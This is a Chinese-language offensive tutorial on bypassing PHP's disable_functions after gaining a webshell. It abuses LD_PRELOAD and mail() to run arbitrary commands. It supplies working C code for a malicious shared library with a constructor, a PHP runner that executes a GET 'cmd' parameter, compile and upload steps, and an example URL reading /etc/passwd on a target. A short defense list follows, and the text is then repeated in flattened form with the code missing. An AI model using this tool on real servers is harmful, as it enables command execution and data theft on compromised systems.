无需sendmail:巧用LD_PRELOAD突破disable_functions
字数 1711 2025-08-18 11:37:49

利用LD_PRELOAD绕过PHP disable_functions限制的技术指南

1. 背景与问题概述

当获取Webshell后,有时会发现无法执行系统命令,这通常是由于PHP配置中的disable_functions禁用了命令执行相关函数(如system()exec()等)。本文介绍一种利用环境变量LD_PRELOAD劫持系统函数的技术,即使在没有安装sendmail的情况下也能绕过这些限制。

2. 绕过disable_functions的常见方法

  1. 攻击后端组件:寻找存在命令注入漏洞的常用后端组件(如ImageMagick、Bash等)
  2. 寻找未禁用的函数:尝试不常见的命令执行函数(如popen()proc_open()等)
  3. mod_cgi模式:修改.htaccess文件调整请求路由
  4. LD_PRELOAD劫持:利用环境变量劫持系统函数(本文重点)

3. LD_PRELOAD技术原理

3.1 基本概念

LD_PRELOAD是Linux的一个环境变量,可以指定在程序运行前优先加载的共享库。通过这个机制,我们可以:

  1. 让外部程序加载我们编写的恶意.so文件
  2. 覆盖系统中的原有函数实现
  3. 达到执行任意代码的目的

3.2 技术思路

  1. 控制Web应用启动新进程(即使进程名无法指定)
  2. 该进程内部调用系统函数b()(位于系统共享对象c.so中)
  3. 通过LD_PRELOAD优先加载我们编写的c_evil.so
  4. c_evil.so中包含与b()同名的恶意函数
  5. 由于优先级高,进程将调用我们的恶意函数而非系统函数

4. 技术实现步骤

4.1 查看进程调用系统函数明细

使用以下工具分析程序行为:

  1. ldd:查看程序依赖的共享对象

    ldd /usr/bin/id
    
  2. nmreadelf:查看程序可能调用的系统API

    nm -D /usr/bin/id
    readelf -Ws /usr/bin/id
    
  3. strace:跟踪实际调用的API

    strace -f /usr/bin/id
    

4.2 操作系统环境下劫持系统函数

以劫持getuid()为例:

  1. 查看函数原型:

    man 2 getuid
    
  2. 编写劫持代码(getuid_shadow.c):

    #include <sys/types.h>
    #include <unistd.h>
    
    uid_t getuid(void) {
        // 恶意代码
        system("touch /tmp/evil");
        return 0;
    }
    
  3. 编译为共享对象:

    gcc -shared -fPIC getuid_shadow.c -o getuid_shadow.so
    
  4. 通过LD_PRELOAD劫持:

    LD_PRELOAD=/path/to/getuid_shadow.so /usr/bin/id
    

4.3 寻找PHP中启动新进程的函数

通过测试发现mail()函数会启动/usr/sbin/sendmail进程,即使没有安装sendmail也会尝试启动。

测试方法:

strace -f php mail.php 2>&1 | grep -A2 -B2 execve

4.4 PHP环境下实现劫持

  1. 创建mail.php:

    <?php
    putenv("LD_PRELOAD=/var/www/getuid_shadow.so");
    mail("a@localhost", "", "", "");
    ?>
    
  2. 上传getuid_shadow.so到Web目录

  3. 访问mail.php将执行恶意代码

5. 优化方案:不依赖特定函数劫持

原始方法依赖劫持特定函数(如getuid()),存在以下问题:

  1. 目标系统可能未安装sendmail
  2. 域名解析可能导致延迟
  3. 需要知道具体会被调用的函数

改进方案:使用GCC的__attribute__((constructor))特性,使代码在共享库加载时自动执行,无需劫持特定函数。

优化后的bypass_disablefunc.c:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void preload (void) {
    char *cmdline = getenv("EVIL_CMDLINE");
    system(cmdline);
}

6. 完整利用工具

6.1 bypass_disablefunc.php

<?php
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $sopath = $_GET["sopath"];
    
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    
    putenv("LD_PRELOAD=" . $sopath);
    mail("a@localhost", "", "", "");
    
    echo "<p>Command executed, output at: " . $out_path . "</p>";
    echo "<pre>" . file_get_contents($out_path) . "</pre>";
    unlink($out_path);
?>

6.2 使用步骤

  1. 编译共享库:

    gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so
    # 对于32位系统
    gcc -shared -fPIC -m32 bypass_disablefunc.c -o bypass_disablefunc_x86.so
    
  2. 上传到目标服务器:

    • bypass_disablefunc.php
    • bypass_disablefunc_x64.so(或x86版)
  3. 通过URL访问:

    http://target/bypass_disablefunc.php?cmd=cat+/etc/passwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
    

7. 注意事项

  1. 确保PHP支持putenv()mail()函数
  2. 输出文件路径需要有写权限
  3. 共享库路径需要可访问
  4. 根据目标架构编译对应版本的.so文件
  5. 无需实际安装或配置sendmail

8. 防御措施

  1. 限制或禁用putenv()函数
  2. 限制mail()函数的使用
  3. 使用open_basedir限制文件访问
  4. 禁用不必要的PHP函数
  5. 定期更新系统和PHP版本

9. 资源获取

完整工具代码可在GitHub获取:
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

通过这种技术,即使在没有sendmail的环境中,也能有效绕过disable_functions限制,执行系统命令。

利用LD_ PRELOAD绕过PHP disable_ functions限制的技术指南 1. 背景与问题概述 当获取Webshell后,有时会发现无法执行系统命令,这通常是由于PHP配置中的 disable_functions 禁用了命令执行相关函数(如 system() 、 exec() 等)。本文介绍一种利用环境变量 LD_PRELOAD 劫持系统函数的技术,即使在没有安装sendmail的情况下也能绕过这些限制。 2. 绕过disable_ functions的常见方法 攻击后端组件 :寻找存在命令注入漏洞的常用后端组件(如ImageMagick、Bash等) 寻找未禁用的函数 :尝试不常见的命令执行函数(如 popen() 、 proc_open() 等) mod_ cgi模式 :修改.htaccess文件调整请求路由 LD_ PRELOAD劫持 :利用环境变量劫持系统函数(本文重点) 3. LD_ PRELOAD技术原理 3.1 基本概念 LD_PRELOAD 是Linux的一个环境变量,可以指定在程序运行前优先加载的共享库。通过这个机制,我们可以: 让外部程序加载我们编写的恶意.so文件 覆盖系统中的原有函数实现 达到执行任意代码的目的 3.2 技术思路 控制Web应用启动新进程(即使进程名无法指定) 该进程内部调用系统函数b()(位于系统共享对象c.so中) 通过 LD_PRELOAD 优先加载我们编写的c_ evil.so c_ evil.so中包含与b()同名的恶意函数 由于优先级高,进程将调用我们的恶意函数而非系统函数 4. 技术实现步骤 4.1 查看进程调用系统函数明细 使用以下工具分析程序行为: ldd :查看程序依赖的共享对象 nm 或 readelf :查看程序可能调用的系统API strace :跟踪实际调用的API 4.2 操作系统环境下劫持系统函数 以劫持 getuid() 为例: 查看函数原型: 编写劫持代码(getuid_ shadow.c): 编译为共享对象: 通过LD_ PRELOAD劫持: 4.3 寻找PHP中启动新进程的函数 通过测试发现 mail() 函数会启动 /usr/sbin/sendmail 进程,即使没有安装sendmail也会尝试启动。 测试方法: 4.4 PHP环境下实现劫持 创建mail.php: 上传getuid_ shadow.so到Web目录 访问mail.php将执行恶意代码 5. 优化方案:不依赖特定函数劫持 原始方法依赖劫持特定函数(如getuid()),存在以下问题: 目标系统可能未安装sendmail 域名解析可能导致延迟 需要知道具体会被调用的函数 改进方案:使用GCC的 __attribute__((constructor)) 特性,使代码在共享库加载时自动执行,无需劫持特定函数。 优化后的bypass_ disablefunc.c: 6. 完整利用工具 6.1 bypass_ disablefunc.php 6.2 使用步骤 编译共享库: 上传到目标服务器: bypass_ disablefunc.php bypass_ disablefunc_ x64.so(或x86版) 通过URL访问: 7. 注意事项 确保PHP支持 putenv() 和 mail() 函数 输出文件路径需要有写权限 共享库路径需要可访问 根据目标架构编译对应版本的.so文件 无需实际安装或配置sendmail 8. 防御措施 限制或禁用 putenv() 函数 限制 mail() 函数的使用 使用 open_basedir 限制文件访问 禁用不必要的PHP函数 定期更新系统和PHP版本 9. 资源获取 完整工具代码可在GitHub获取: https://github.com/yangyangwithgnu/bypass_ disablefunc_ via_ LD_ PRELOAD 通过这种技术,即使在没有sendmail的环境中,也能有效绕过disable_ functions限制,执行系统命令。